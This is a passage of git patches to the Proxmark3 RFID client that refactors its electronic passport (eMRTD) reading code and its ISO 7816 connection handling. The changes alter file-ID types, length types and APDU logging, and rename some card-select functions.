_emrtd_convert_filename(const char *file, uint8_t *dataout) { - char temp[3] = {0x00}; - memcpy(temp, file, 2); - dataout[0] = (int)strtol(temp, NULL, 16); - memcpy(temp, file + 2, 2); - dataout[1] = (int)strtol(temp, NULL, 16); -} - -static bool emrtd_secure_select_file(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, const char *select_by, const char *file, bool use_14b) { +static bool emrtd_secure_select_file_by_ef(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, uint16_t file) { uint8_t response[PM3_CMD_DATA_SIZE]; - int resplen = 0; + size_t resplen = 0; - // convert filename of string to bytes + // convert fileid to bytes uint8_t file_id[2]; - _emrtd_convert_filename(file, file_id); + _emrtd_convert_fileid(file, file_id); uint8_t iv[8] = { 0x00 }; - char command[PM3_CMD_DATA_SIZE]; uint8_t cmd[8]; uint8_t data[21]; - uint8_t temp[8] = {0x0c, 0xa4, strtol(select_by, NULL, 16), 0x0c}; + uint8_t temp[8] = {0x0c, 0xa4, EMRTD_P1_SELECT_BY_EF, 0x0c}; int cmdlen = pad_block(temp, 4, cmd); int datalen = pad_block(file_id, 2, data); @@ -550,18 +506,14 @@ static bool emrtd_secure_select_file(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, memcpy(data + (datalen + 3), do8e, 10); PrintAndLogEx(DEBUG, "data: %s", sprint_hex_inrow(data, lc)); - sprintf(command, "0C%s%s0C%02X%s00", EMRTD_SELECT, select_by, lc, sprint_hex_inrow(data, lc)); - PrintAndLogEx(DEBUG, "command: %s", command); - - if (emrtd_exchange_commands(command, response, &resplen, false, true, use_14b) == false) { + if (emrtd_exchange_commands((sAPDU){0x0C, EMRTD_SELECT, EMRTD_P1_SELECT_BY_EF, 0x0C, lc, data}, true, 0, response, sizeof(response), &resplen, false, true) == false) { return false; } return emrtd_check_cc(ssc, kmac, response, resplen); } -static bool _emrtd_secure_read_binary(uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, int *dataoutlen, bool use_14b) { - char command[54]; +static bool _emrtd_secure_read_binary(uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) { uint8_t cmd[8]; uint8_t data[21]; uint8_t temp[8] = {0x0c, 0xb0}; @@ -603,23 +555,20 @@ static bool _emrtd_secure_read_binary(uint8_t *kmac, uint8_t *ssc, int offset, i memcpy(data + 3, do8e, 10); PrintAndLogEx(DEBUG, "data: %s", sprint_hex_inrow(data, lc)); - sprintf(command, "0C%s%04X%02X%s00", EMRTD_READ_BINARY, offset, lc, sprint_hex_inrow(data, lc)); - PrintAndLogEx(DEBUG, "command: %s", command); - - if (emrtd_exchange_commands(command, dataout, dataoutlen, false, true, use_14b) == false) { + if (emrtd_exchange_commands((sAPDU){0x0C, EMRTD_READ_BINARY, offset >> 8, offset & 0xFF, lc, data}, true, 0, dataout, maxdataoutlen, dataoutlen, false, true) == false) { return false; } return emrtd_check_cc(ssc, kmac, dataout, *dataoutlen); } -static bool _emrtd_secure_read_binary_decrypt(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, int *dataoutlen, bool use_14b) { +static bool _emrtd_secure_read_binary_decrypt(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, size_t *dataoutlen) { uint8_t response[500]; uint8_t temp[500]; - int resplen, cutat = 0; + size_t resplen, cutat = 0; uint8_t iv[8] = { 0x00 }; - if (_emrtd_secure_read_binary(kmac, ssc, offset, bytes_to_read, response, &resplen, use_14b) == false) { + if (_emrtd_secure_read_binary(kmac, ssc, offset, bytes_to_read, response, sizeof(response), &resplen) == false) { return false; } @@ -635,20 +584,20 @@ static bool _emrtd_secure_read_binary_decrypt(uint8_t *kenc, uint8_t *kmac, uint return true; } -static int emrtd_read_file(uint8_t *dataout, int *dataoutlen, uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, bool use_secure, bool use_14b) { +static int emrtd_read_file(uint8_t *dataout, size_t *dataoutlen, uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, bool use_secure) { uint8_t response[EMRTD_MAX_FILE_SIZE]; - int resplen = 0; + size_t resplen = 0; uint8_t tempresponse[500]; - int tempresplen = 0; + size_t tempresplen = 0; int toread = 4; int offset = 0; if (use_secure) { - if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, response, &resplen, use_14b) == false) { + if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, response, &resplen) == false) { return false; } } else { - if (_emrtd_read_binary(offset, toread, response, &resplen, use_14b) == false) { + if (_emrtd_read_binary(offset, toread, response, sizeof(response), &resplen) == false) { return false; } } @@ -666,12 +615,12 @@ static int emrtd_read_file(uint8_t *dataout, int *dataoutlen, uint8_t *kenc, uin } if (use_secure) { - if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, tempresponse, &tempresplen, use_14b) == false) { + if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, tempresponse, &tempresplen) == false) { PrintAndLogEx(NORMAL, ""); return false; } } else { - if (_emrtd_read_binary(offset, toread, tempresponse, &tempresplen, use_14b) == false) { + if (_emrtd_read_binary(offset, toread, tempresponse, sizeof(tempresponse), &tempresplen) == false) { PrintAndLogEx(NORMAL, ""); return false; } @@ -746,21 +695,21 @@ static bool emrtd_lds_get_data_by_tag(uint8_t *datain, size_t datainlen, uint8_t return false; } -static bool emrtd_select_and_read(uint8_t *dataout, int *dataoutlen, const char *file, uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, bool use_secure, bool use_14b) { +static bool emrtd_select_and_read(uint8_t *dataout, size_t *dataoutlen, uint16_t file, uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, bool use_secure) { if (use_secure) { - if (emrtd_secure_select_file(ks_enc, ks_mac, ssc, EMRTD_P1_SELECT_BY_EF, file, use_14b) == false) { + if (emrtd_secure_select_file_by_ef(ks_enc, ks_mac, ssc, file) == false) { PrintAndLogEx(ERR, "Failed to secure select %s.", file); return false; } } else { - if (emrtd_select_file(EMRTD_P1_SELECT_BY_EF, file, use_14b) == false) { - PrintAndLogEx(ERR, "Failed to select %s.", file); + if (emrtd_select_file_by_ef(file) == false) { + PrintAndLogEx(ERR, "Failed to select %04X.", file); return false; } } - if (emrtd_read_file(dataout, dataoutlen, ks_enc, ks_mac, ssc, use_secure, use_14b) == false) { - PrintAndLogEx(ERR, "Failed to read %s.", file); + if (emrtd_read_file(dataout, dataoutlen, ks_enc, ks_mac, ssc, use_secure) == false) { + PrintAndLogEx(ERR, "Failed to read %04X.", file); return false; } return true; @@ -878,11 +827,11 @@ static int emrtd_dump_ef_sod(uint8_t *file_contents, size_t file_length, const c return PM3_ESOFT; } -static bool emrtd_dump_file(uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, const char *file, const char *name, bool use_secure, bool use_14b, const char *path) { +static bool emrtd_dump_file(uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, uint16_t file, const char *name, bool use_secure, const char *path) { uint8_t response[EMRTD_MAX_FILE_SIZE]; - int resplen = 0; + size_t resplen = 0; - if (emrtd_select_and_read(response, &resplen, file, ks_enc, ks_mac, ssc, use_secure, use_14b) == false) { + if (emrtd_select_and_read(response, &resplen, file, ks_enc, ks_mac, ssc, use_secure) == false) { return false; } @@ -914,11 +863,11 @@ static void rng(int length, uint8_t *dataout) { memset(dataout, 0x00, length); } -static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac, bool use_14b) { +static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac) { uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 }; - int resplen = 0; + size_t resplen = 0; - uint8_t rnd_ic[8] = { 0x00 }; + uint8_t rnd_ic[10] = { 0x00 }; // 8 + SW uint8_t kenc[50] = { 0x00 }; uint8_t kmac[50] = { 0x00 }; uint8_t k_icc[16] = { 0x00 }; @@ -950,7 +899,7 @@ static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t PrintAndLogEx(DEBUG, "kmac.............. %s", sprint_hex_inrow(kmac, 16)); // Get Challenge - if (emrtd_get_challenge(8, rnd_ic, &resplen, use_14b) == false) { + if (emrtd_get_challenge(8, rnd_ic, sizeof(rnd_ic), &resplen) == false) { PrintAndLogEx(ERR, "Couldn't get challenge."); return false; } @@ -978,7 +927,7 @@ static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t memcpy(cmd_data + 32, m_ifd, 8); // Do external authentication - if (emrtd_external_authenticate(cmd_data, sizeof(cmd_data), response, &resplen, use_14b) == false) { + if (emrtd_external_authenticate(cmd_data, sizeof(cmd_data), response, sizeof(response), &resplen) == false) { PrintAndLogEx(ERR, "Couldn't do external authentication. Did you supply the correct MRZ info?"); return false; } @@ -1016,60 +965,32 @@ static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t return true; } -static bool emrtd_connect(bool *use_14b) { - // Try to 14a - SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); - PacketResponseNG resp; - bool failed_14a = false; - if (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) { - DropField(); - failed_14a = true; - } - - if (failed_14a || resp.oldarg[0] == 0) { - PrintAndLogEx(INFO, "No eMRTD spotted with 14a, trying 14b"); - // If not 14a, try to 14b - iso14b_raw_cmd_t packet = { - .flags = (ISO14B_CONNECT | ISO14B_SELECT_STD), - .timeout = 0, - .rawlen = 0, - }; - clearCommandBuffer(); - SendCommandNG(CMD_HF_ISO14443B_COMMAND, (uint8_t *)&packet, sizeof(iso14b_raw_cmd_t)); - if (WaitForResponseTimeout(CMD_HF_ISO14443B_COMMAND, &resp, 2000) == false) { - PrintAndLogEx(INFO, "timeout, no eMRTD spotted with 14b, exiting"); - return false; - } - - if (resp.oldarg[0] != 0) { - PrintAndLogEx(INFO, "No eMRTD spotted with 14b, exiting"); - return false; - } - *use_14b = true; - } - return true; +static bool emrtd_connect(void) { + int res = Iso7816Connect(CC_CONTACTLESS); + return res == PM3_SUCCESS; } -static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BAC_available, bool *BAC, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac, bool *use_14b) { +static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BAC_available, bool *BAC, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac) { // Select MRTD applet - if (emrtd_select_file(EMRTD_P1_SELECT_BY_NAME, EMRTD_AID_MRTD, *use_14b) == false) { + uint8_t aid[] = EMRTD_AID_MRTD; + if (emrtd_select_file_by_name(sizeof(aid), aid) == false) { PrintAndLogEx(ERR, "Couldn't select the MRTD application."); return false; } // Select EF_COM - if (emrtd_select_file(EMRTD_P1_SELECT_BY_EF, dg_table[EF_COM].fileid, *use_14b) == false) { + if (emrtd_select_file_by_ef(dg_table[EF_COM].fileid) == false) { *BAC = true; PrintAndLogEx(INFO, "Authentication is enforced. Will attempt external authentication."); } else { *BAC = false; // Select EF_DG1 - emrtd_select_file(EMRTD_P1_SELECT_BY_EF, dg_table[EF_DG1].fileid, *use_14b); + emrtd_select_file_by_ef(dg_table[EF_DG1].fileid); - int resplen = 0; + size_t resplen = 0; uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 }; - if (emrtd_read_file(response, &resplen, NULL, NULL, NULL, false, *use_14b) == false) { + if (emrtd_read_file(response, &resplen, NULL, NULL, NULL, false) == false) { *BAC = true; PrintAndLogEx(INFO, "Authentication is enforced. Will attempt external authentication."); } else { @@ -1077,7 +998,7 @@ static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BA } } - // Do Basic Access Aontrol + // Do Basic Access Control if (*BAC) { // If BAC isn't available, exit out and warn user. if (!BAC_available) { @@ -1086,7 +1007,7 @@ static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BA return false; } - if (emrtd_do_bac(documentnumber, dob, expiry, ssc, ks_enc, ks_mac, *use_14b) == false) { + if (emrtd_do_bac(documentnumber, dob, expiry, ssc, ks_enc, ks_mac) == false) { return false; } } @@ -1095,33 +1016,32 @@ static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BA int dumpHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_available, const char *path) { uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 }; - int resplen = 0; + size_t resplen = 0; uint8_t ssc[8] = { 0x00 }; uint8_t ks_enc[16] = { 0x00 }; uint8_t ks_mac[16] = { 0x00 }; bool BAC = false; - bool use_14b = false; // Select the eMRTD - if (emrtd_connect(&use_14b) == false) { + if (emrtd_connect() == false) { DropField(); return PM3_ESOFT; } // Dump EF_CardAccess (if available) - if (!emrtd_dump_file(ks_enc, ks_mac, ssc, dg_table[EF_CardAccess].fileid, dg_table[EF_CardAccess].filename, BAC, use_14b, path)) { + if (!emrtd_dump_file(ks_enc, ks_mac, ssc, dg_table[EF_CardAccess].fileid, dg_table[EF_CardAccess].filename, BAC, path)) { PrintAndLogEx(INFO, "Couldn't dump EF_CardAccess, card does not support PACE."); PrintAndLogEx(HINT, "This is expected behavior for cards without PACE, and isn't something to be worried about."); } // Authenticate with the eMRTD - if (!emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac, &use_14b)) { + if (!emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac)) { DropField(); return PM3_ESOFT; } // Select EF_COM - if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) { + if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC)) { PrintAndLogEx(ERR, "Failed to read EF_COM."); DropField(); return PM3_ESOFT; @@ -1162,7 +1082,7 @@ int dumpHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab } PrintAndLogEx(DEBUG, "Current file: %s", dg->filename); if (!dg->pace && !dg->eac) { - emrtd_dump_file(ks_enc, ks_mac, ssc, dg->fileid, dg->filename, BAC, use_14b, path); + emrtd_dump_file(ks_enc, ks_mac, ssc, dg->fileid, dg->filename, BAC, path); } } DropField(); @@ -1869,32 +1789,32 @@ static int emrtd_print_ef_cardaccess_info(uint8_t *data, size_t datalen) { int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_available) { uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 }; - int resplen = 0; + size_t resplen = 0; uint8_t ssc[8] = { 0x00 }; uint8_t ks_enc[16] = { 0x00 }; uint8_t ks_mac[16] = { 0x00 }; bool BAC = false; bool PACE_available = true; - bool use_14b = false; // Select the eMRTD - if (!emrtd_connect(&use_14b)) { + if (emrtd_connect() == false) { DropField(); return PM3_ESOFT; } + bool use14b = GetISODEPState() == ISODEP_NFCB; // Read EF_CardAccess - if (!emrtd_select_and_read(response, &resplen, dg_table[EF_CardAccess].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) { + if (!emrtd_select_and_read(response, &resplen, dg_table[EF_CardAccess].fileid, ks_enc, ks_mac, ssc, BAC)) { PACE_available = false; PrintAndLogEx(HINT, "The error above this is normal. It just means that your eMRTD lacks PACE."); } // Select and authenticate with the eMRTD - bool auth_result = emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac, &use_14b); + bool auth_result = emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "------------------ " _CYAN_("Basic Info") " ------------------"); - PrintAndLogEx(SUCCESS, "Communication standard: %s", use_14b ? _YELLOW_("ISO/IEC 14443(B)") : _YELLOW_("ISO/IEC 14443(A)")); + PrintAndLogEx(SUCCESS, "Communication standard: %s", use14b ? _YELLOW_("ISO/IEC 14443(B)") : _YELLOW_("ISO/IEC 14443(A)")); PrintAndLogEx(SUCCESS, "Authentication........: %s", BAC ? _GREEN_("Enforced") : _RED_("Not enforced")); PrintAndLogEx(SUCCESS, "PACE..................: %s", PACE_available ? _GREEN_("Available") : _YELLOW_("Not available")); PrintAndLogEx(SUCCESS, "Authentication result.: %s", auth_result ? _GREEN_("Successful") : _RED_("Failed")); @@ -1909,7 +1829,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab } // Read EF_COM to get file list - if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) { + if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC)) { PrintAndLogEx(ERR, "Failed to read EF_COM."); DropField(); return PM3_ESOFT; @@ -1935,7 +1855,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab uint8_t dg_hashes_calc[17][64] = { { 0 } }; int hash_algo = 0; - if (!emrtd_select_and_read(response, &resplen, dg_table[EF_SOD].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) { + if (!emrtd_select_and_read(response, &resplen, dg_table[EF_SOD].fileid, ks_enc, ks_mac, ssc, BAC)) { PrintAndLogEx(ERR, "Failed to read EF_SOD."); DropField(); return PM3_ESOFT; @@ -1954,7 +1874,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab continue; } if (dg->fastdump && !dg->pace && !dg->eac) { - if (emrtd_select_and_read(response, &resplen, dg->fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) { + if (emrtd_select_and_read(response, &resplen, dg->fileid, ks_enc, ks_mac, ssc, BAC)) { if (dg->parser != NULL) dg->parser(response, resplen); @@ -2186,7 +2106,13 @@ static int CmdHFeMRTDDump(const char *Cmd) { if (error) { return PM3_ESOFT; } - return dumpHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC, (const char *)path); + bool restore_apdu_logging = GetAPDULogging(); + if (g_debugMode >= 2) { + SetAPDULogging(true); + } + int res = dumpHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC, (const char *)path); + SetAPDULogging(restore_apdu_logging); + return res; } static int CmdHFeMRTDInfo(const char *Cmd) { @@ -2276,7 +2202,13 @@ static int CmdHFeMRTDInfo(const char *Cmd) { if (offline) { return infoHF_EMRTD_offline((const char *)path); } else { - return infoHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC); + bool restore_apdu_logging = GetAPDULogging(); + if (g_debugMode >= 2) { + SetAPDULogging(true); + } + int res = infoHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC); + SetAPDULogging(restore_apdu_logging); + return res; } } diff --git a/client/src/cmdhfemrtd.h b/client/src/cmdhfemrtd.h index 35429a568..81f59b88c 100644 --- a/client/src/cmdhfemrtd.h +++ b/client/src/cmdhfemrtd.h @@ -16,7 +16,7 @@ typedef struct emrtd_dg_s { uint8_t tag; uint8_t dgnum; - const char *fileid; + uint16_t fileid; const char *filename; const char *desc; bool pace; diff --git a/client/src/emv/emvcore.c b/client/src/emv/emvcore.c index f4d082628..7d0ab8ce4 100644 --- a/client/src/emv/emvcore.c +++ b/client/src/emv/emvcore.c @@ -266,7 +266,7 @@ struct tlvdb *GetdCVVRawFromTrack2(const struct tlv *track2) { } static int EMVExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { - int res = Iso7816ExchangeEx(channel, ActivateField, LeaveFieldON, apdu, IncludeLe, Result, MaxResultLen, ResultLen, sw); + int res = Iso7816ExchangeEx(channel, ActivateField, LeaveFieldON, apdu, IncludeLe, 0, Result, MaxResultLen, ResultLen, sw); // add to tlv tree if ((res == PM3_SUCCESS) && tlv) { struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen); diff --git a/client/src/iso7816/iso7816core.c b/client/src/iso7816/iso7816core.c index 4b1ddf450..707caabc1 100644 --- a/client/src/iso7816/iso7816core.c +++ b/client/src/iso7816/iso7816core.c @@ -19,6 +19,7 @@ #include "ui.h" #include "cmdhf14a.h" #include "cmdhf14b.h" +#include "iso14b.h" // iso14b_raw_cmd_t #include "util_posix.h" //iceman: this logging setting, should be unified with client debug etc. @@ -35,13 +36,56 @@ static isodep_state_t isodep_state = ISODEP_INACTIVE; void SetISODEPState(isodep_state_t state) { isodep_state = state; + if (APDULogging) { + PrintAndLogEx(SUCCESS, ">>>> ISODEP -> %s%s%s", isodep_state == ISODEP_INACTIVE ? "inactive" : "", isodep_state == ISODEP_NFCA ? "NFC-A" : "", isodep_state == ISODEP_NFCB ? "NFC-B" : ""); + } } isodep_state_t GetISODEPState(void) { return isodep_state; } -int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { +int Iso7816Connect(Iso7816CommandChannel channel) { + if (channel == CC_CONTACT) { + return PM3_ENOTIMPL; + } + // Try to 14a + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); + PacketResponseNG resp; + bool failed_14a = false; + if (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) { + DropField(); + failed_14a = true; + } + + if ((!failed_14a) && resp.oldarg[0] != 0) { + SetISODEPState(ISODEP_NFCA); + return PM3_SUCCESS; + } + + PrintAndLogEx(DEBUG, "No 14a tag spotted, trying 14b"); + // If not 14a, try to 14b + iso14b_raw_cmd_t packet = { + .flags = (ISO14B_CONNECT | ISO14B_SELECT_STD), + .timeout = 0, + .rawlen = 0, + }; + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO14443B_COMMAND, (uint8_t *)&packet, sizeof(iso14b_raw_cmd_t)); + if (WaitForResponseTimeout(CMD_HF_ISO14443B_COMMAND, &resp, 2000) == false) { + PrintAndLogEx(DEBUG, "Timeout, no 14b tag spotted, exiting"); + return PM3_ETIMEOUT; + } + + if (resp.oldarg[0] != 0) { + PrintAndLogEx(DEBUG, "No 14b tag spotted, failed to find any tag."); + return PM3_ENODATA; + } + SetISODEPState(ISODEP_NFCB); + return PM3_SUCCESS; +} + +int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool includeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t data[APDU_RES_LEN] = {0}; *ResultLen = 0; @@ -56,7 +100,14 @@ int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool Le // COMPUTE APDU int datalen = 0; - if (APDUEncodeS(&apdu, false, IncludeLe ? 0x100 : 0x00, data, &datalen)) { + if (includeLe) { + if (Le == 0) { + Le = 0x100; + } + } else { + Le = 0; + } + if (APDUEncodeS(&apdu, false, Le, data, &datalen)) { PrintAndLogEx(ERR, "APDU encoding error."); return 201; } @@ -125,9 +176,9 @@ int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool Le } int Iso7816Exchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { - return Iso7816ExchangeEx(channel, false, LeaveFieldON, apdu, false, Result, MaxResultLen, ResultLen, sw); + return Iso7816ExchangeEx(channel, false, LeaveFieldON, apdu, false, 0, Result, MaxResultLen, ResultLen, sw); } int Iso7816Select(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { - return Iso7816ExchangeEx(channel, ActivateField, LeaveFieldON, (sAPDU) {0x00, 0xa4, 0x04, 0x00, AIDLen, AID}, (channel == CC_CONTACTLESS), Result, MaxResultLen, ResultLen, sw); + return Iso7816ExchangeEx(channel, ActivateField, LeaveFieldON, (sAPDU) {0x00, 0xa4, 0x04, 0x00, AIDLen, AID}, (channel == CC_CONTACTLESS), 0, Result, MaxResultLen, ResultLen, sw); } diff --git a/client/src/iso7816/iso7816core.h b/client/src/iso7816/iso7816core.h index beff9cd9b..8c0b44629 100644 --- a/client/src/iso7816/iso7816core.h +++ b/client/src/iso7816/iso7816core.h @@ -37,9 +37,12 @@ bool GetAPDULogging(void); void SetISODEPState(isodep_state_t state); isodep_state_t GetISODEPState(void); +// connect +int Iso7816Connect(Iso7816CommandChannel channel); + // exchange int Iso7816Exchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); -int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); // search application int Iso7816Select(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); From c5ba1d7a2d86e0c9281bdc0fa227745d3b3fe565 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 2 Jun 2021 23:16:49 +0200 Subject: [PATCH 12/77] Missing SetISODEPState --- client/src/cmdhf14a.c | 2 +- client/src/cmdhf14b.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 6c1c2d322..4e081c94f 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -906,7 +906,7 @@ int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card) { if (card) memcpy(card, vcard, sizeof(iso14a_card_select_t)); } - + SetISODEPState(ISODEP_NFCA); if (disconnect) DropField(); diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 8575472af..f390b96a1 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -1599,7 +1599,7 @@ static int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card) { switch_off_field_14b(); return PM3_ESOFT; } - + SetISODEPState(ISODEP_NFCB); apdu_frame_length = 0; // get frame length from ATS in card data structure iso14b_card_select_t *vcard = (iso14b_card_select_t *) resp.data.asBytes; From af6ff40748b5fe12223107a2efa7b42f25466f10 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 2 Jun 2021 23:38:43 +0200 Subject: [PATCH 13/77] simplify Iso7816Connect --- client/src/cmdhf14a.c | 4 ++-- client/src/cmdhf14a.h | 2 +- client/src/cmdhf14b.c | 2 +- client/src/cmdhf14b.h | 2 ++ client/src/cmdhfmfdes.c | 2 +- client/src/iso7816/iso7816core.c | 35 ++++++++------------------------ 6 files changed, 16 insertions(+), 31 deletions(-) diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 4e081c94f..6396323ca 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -846,7 +846,7 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav return 0; } -int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card) { +int SelectCard14443A_4(bool disconnect, iso14a_card_select_t *card) { PacketResponseNG resp; frameLength = 0; @@ -918,7 +918,7 @@ static int CmdExchangeAPDU(bool chainingin, uint8_t *datain, int datainlen, bool if (activateField) { // select with no disconnect and set frameLength - int selres = SelectCard14443_4(false, NULL); + int selres = SelectCard14443A_4(false, NULL); if (selres != PM3_SUCCESS) return selres; } diff --git a/client/src/cmdhf14a.h b/client/src/cmdhf14a.h index a6791dfe5..874a073c5 100644 --- a/client/src/cmdhf14a.h +++ b/client/src/cmdhf14a.h @@ -35,5 +35,5 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card); int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode); -int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card); +int SelectCard14443A_4(bool disconnect, iso14a_card_select_t *card); #endif diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index f390b96a1..2d86fb51f 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -1558,7 +1558,7 @@ static int srix4kValid(const char *Cmd) { } */ -static int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card) { +int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card) { if (card) memset(card, 0, sizeof(iso14b_card_select_t)); diff --git a/client/src/cmdhf14b.h b/client/src/cmdhf14b.h index 25f94eabf..7f311898f 100644 --- a/client/src/cmdhf14b.h +++ b/client/src/cmdhf14b.h @@ -12,11 +12,13 @@ #define CMDHF14B_H__ #include "common.h" +#include "iso14b.h" int CmdHF14B(const char *Cmd); int 